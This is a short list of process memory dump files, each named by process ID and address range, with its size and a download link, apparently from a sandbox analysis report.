memory/4716-68-0x00007FFB73F50000-0x00007FFB74148000-memory.dmp

Filesize
2.0MB

Download
memory/4716-71-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4716-67-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/4744-670-0x00007FFB55BA0000-0x00007FFB56662000-memory.dmp

Filesize
10.8MB

Download
memory/4744-31-0x00007FFB55BA0000-0x00007FFB56662000-memory.dmp

Filesize
10.8MB

Download
memory/4744-16-0x0000000000700000-0x000000000070E000-memory.dmp

Filesize
56KB

Download